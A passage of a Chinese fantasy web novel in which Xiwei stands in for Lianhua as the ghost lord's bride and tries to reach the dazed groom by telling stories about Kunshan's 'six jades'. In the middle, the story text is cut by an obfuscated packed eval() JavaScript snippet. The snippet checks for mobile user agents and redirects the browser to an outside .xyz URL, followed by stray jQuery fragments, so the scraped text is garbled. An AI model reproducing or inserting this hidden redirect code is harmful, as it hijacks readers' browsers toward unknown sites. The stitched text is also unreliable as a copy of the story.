“莲花,谢谢你愿意和我们说。”
“我……”莲花语气带上焦急,“既然已经知道了,你们为什么还不走?”
溪微看着她,缓缓说道:“那天晚上,我们看见了。”
莲花瞳孔剧颤:“你们早就知道了……”
“不全是。我们只是看见你被抽中了,然后柳婶便搂着你哭,在场的其他人面上也没有喜色。所以我们便猜测,柳叔和柳婶想要留下我,让我替你去做一件事。”
她握住莲花的手,“只是,我们没有想到,你会把一切和盘托出。莲花,你就如同你的名字,出淤泥而不染,我真的很感谢你。”
莲花愣愣地看着她:“为什么……”
“你希望我们走的原因,便是我们留下来的原因。”溪微望了一眼孟昭,说道,“所以,我会代替你登上鬼君的花轿。”
“你会死的。”
溪微按住她的嘴唇,“我不会的。”
莲花还想在说什么,可是她看着溪微的眼睛,焦躁不安的心奇迹般地平静下来,她深吸一口气,点了点头。
鬼郎君的迎亲队伍是黄昏时到来的,一路上唢呐声响彻云霄,欢快的乐音久久不绝。与之形成鲜明对比的是,街道上一片寂静,路上一个行人也没有。偶尔有不知事的小童被车队吸引,又很快被家中大人匆匆带回,还未出口的哭声被一只大手紧紧捂住。
迎亲队伍停在柳家门前,屋子里,莲花为溪微带上最后一根头饰。溪微看着镜子里自己满头珠翠的样子,不禁失笑,这已是第三次扮作新娘了。她看一眼窗外,那里有一道长身玉立的背影,心中长长地叹息一声。
溪微站起身,迈步朝门外走去。孟昭听见开门声,回过头来,眼眸中满是溪微红色的身影。
直到一阵哭声响起,孟昭才移开目光。
溪微路过孟昭时,一阵气息拂过耳边。“等我。”孟昭对她说。
溪微眼也不眨,径自朝前走去。
柳叔和柳婶哭得一把鼻涕一把泪,眼中满是愧悔。柳叔见溪微朝他们走近,忽然“扑通”跪下,膝行到溪微身前,颤着声音哭道:“小妹啊,我是畜生,我猪狗不如,竟然想着算计你……”
柳婶也跪下了:“你是我家的恩人,我来生做牛做马也会报答你的。”
莲花远远地看着这一幕,默默转过了身。
溪微虽然知道他们是情有可原,可是一想到被他们欺骗的若不是自己,而是另一个手无寸铁的凡人女子,就很难原谅他们。她听着他们发自内心的哭声,抿了抿唇,将手中的盖头披到头上,径自朝院外走去。
迎亲的队伍正等在门外,他们既不催促,也不迎接,甚至没有分给溪微一个眼神,仿佛他们要迎接的不是新娘,而只是一个长着人的模样的木偶。
溪微直接走到轿旁,掀开毡帘坐了进去。
冲天的唢呐声再度吹响,溪微感到喜轿腾空,微微晃动起来。她将一旁的帘子掀开一角,朝外望去,只见柳叔、柳婶,还有莲花都来到门外,目送着迎亲队伍的离去。
唢呐声一直响至半夜,溪微才被抬进鬼郎君的宫殿。无需祭拜天地,溪微就被送进了新房。
新房中一片寂静,除了蜡烛燃烧的声音,静得能听见自己的心跳。溪微直到门外的气息彻底远去,才一把掀开盖头。
她无暇观察房间中的陈设,心神满满地被一件事情占据。
这里,竟是充盈着清气,不掺一丝浊气的,极其纯净的清气。
她的第一个念头便是抓紧时间修炼,然而,这个念头还没来得及付诸实施,门外就想起两道脚步声。
溪微连忙盖回盖头,端正地坐在床上。她听着那两道脚步声越来越近,分辨出其中一道步伐虚浮,另一道则轻快矫健,不禁思索,哪一道脚步声属于那个鬼郎君呢?
房门被人从外面推开,溪微屏住呼吸,听着那两个人离她越来越近,最后停在她面前。
“夫人。”一道平板的声音响起,溪微不动声色,又听那道声音说道,“请夫人显露真容。”
溪微掀起盖头,看清了对自己说话的人。普通的面容,很容易就会消失在人群中,连眼睛也如同一团灰蒙蒙的雾气,让人留不下丝毫印象。
在他的身旁,站着另一个人。溪微眼睛一亮,若说第一个人是极致的普通,那么这个人便是极致的艳丽,特别是一双桃花眼,弯成恰到好处的弧度,让人感觉多一分则失之轻佻,少一分则风韵不足。
溪微在心中叹息一声,这般艳丽的长相,双眸却只是木楞楞望着前方,没有丝毫清气。整个人就仿佛一具没有灵魂的精致木偶一般。
似乎是察觉到溪微的遗憾,第一个人脸上露出不悦的神情,他轻咳一声,用那道平板的声音说道:“请夫人扶郎君坐下。”
溪微这才发觉,这“精致木偶”穿着一身红色喜服,手中捧着本应戴在头上的新郎冠冕。
原来这就是引得人心惶惶的鬼郎君,他身上没有鬼气,只有呆气,溪微心中不由得一阵失望。
她走到鬼郎君身旁,握着他的手臂想要将他拉到床边。可是这鬼郎君仍是呆愣愣的,腿脚仿佛黏在地上一动不动。
“郎君,这是夫人,请让夫人服侍您。”那灰蒙蒙的人对鬼郎君说道。
鬼郎君的眸子这才动了动,他看着溪微,木讷地重复:“夫人……”
溪微再去拉他,他便迈动脚步,听话地被牵到床边坐下。
灰蒙蒙的人又说:“夫人,郎君喜欢听故事,请为他讲故事。”
溪微疑惑:“讲故事?什么故事?”
“任何故事,只要让郎君听进去便可以。”
溪微看着一脸呆滞的鬼郎君,不禁疑惑,这个木偶人真的能听得懂故事吗?
她又想起一位又一位新娘被抬进新房却从此消失,眉心蹙起,难道是她们的故事不能使鬼郎君满意,所以失去了继续存活的价值?
“若郎君听不进我的故事呢?”她问道。
半晌没有人说话,溪微不禁朝他看去,只见他的脸终于不是一片平板,他勾着嘴角,扯出的笑容莫名让人感到不安:“郎君会听进去的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235967|174815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>说完,他转过身,径自离开了这间红烛摇曳的新房。
溪微一直看着他的背影消失在门外,才深吸一口气,转身看着鬼郎君,正对上他那直愣愣看过来的眼睛。
溪微不由自主地后退一步,忽然觉得“鬼郎君”这个称呼也许并没有错,当他那般直直地看着其他人时,就像木偶突然有了神智,确实会让人感觉到森森鬼气。
“故事,故事……”鬼郎君念叨着。
溪微看着他,问道:“你想听什么故事?”
“故事,故事……”似乎只会说这两个字。
溪微叹一口气,转过身,想找找房间中有什么线索。
然而,她刚迈出一步,身后的声音陡然加大,一声高过一声,无数的“故事”两个字连在一起,组成诡异的魔咒,让人脊背发凉。
溪微无奈,回头看向鬼郎君,下一刻,门外响起平板的嗓音:“夫人,请照顾好郎君。”
“知道了。”溪微无力地回应道,她搬来一把椅子,与床边的鬼郎君面对面坐着。随着她的动作,鬼郎君的声音越来越低,最后,又变回原本那机械的诵读。
一声又一声的“故事”。
“你要听故事……”溪微拖着嗓音,一边在脑海中思索着。她从来没有为人讲过故事,便只能搜刮自己的记忆,干巴巴地叙述,“这世间有无数名山大川,但是其中一座山是最高、最令人向往的。”
鬼郎君仍然盯着她,口中不停念着“故事”,也不知有没有听到她的叙述。
溪微叹气,只好继续说道:“这座山名叫昆山,山中仙鹤盘旋、遍布奇花异草……”
“昆山、昆山……”鬼郎君忽然高声说道。
溪微心中一动:“你对昆山感兴趣吗?”
鬼郎君不答,仍然机械地念诵着,只是“故事”换成了“昆山”。
“好,昆山。”溪微点点头,“昆山有六位年轻的弟子,世人称他们为昆山六玉。”
鬼郎君口中的“昆山”换成了“六玉”。
溪微忽然觉得,为鬼郎君讲故事,或许没有那么难。她随即摇头,若真的不难,也不会每月都要娶一位“新娘”了。
她继续说道:“那我便讲昆山六玉的故事吧,不过我只知道其中五个的名字,真奇怪,另一个人像是从人们的记忆中消失了。”她抬眼,一一念出那五个名字,顺便观察鬼郎君的反应。
当念到前几个名字时,鬼郎君木讷的表情有些松动,但是除此之外并无更多的反应,溪微不禁有些失望。
她深吸一口气,脑海中浮现出那道云中仙君的身影,双唇轻启,吐出另一个名字:“梁、秉。”
鬼郎君像之前一样,在听到名字之后便紧跟着溪微重复着。然而,这一次,溪微心中的失望还来不及升起,他便有了更加剧烈的反应。
随着“梁秉”两个字不断从他口中念出,他的双眸开始转动起来,其中一个瞬间,那副艳丽的五官重新有了清气。
然而,溪微还没有来得及仔细观察,鬼郎君忽然起身,猝不及防地扑向溪微。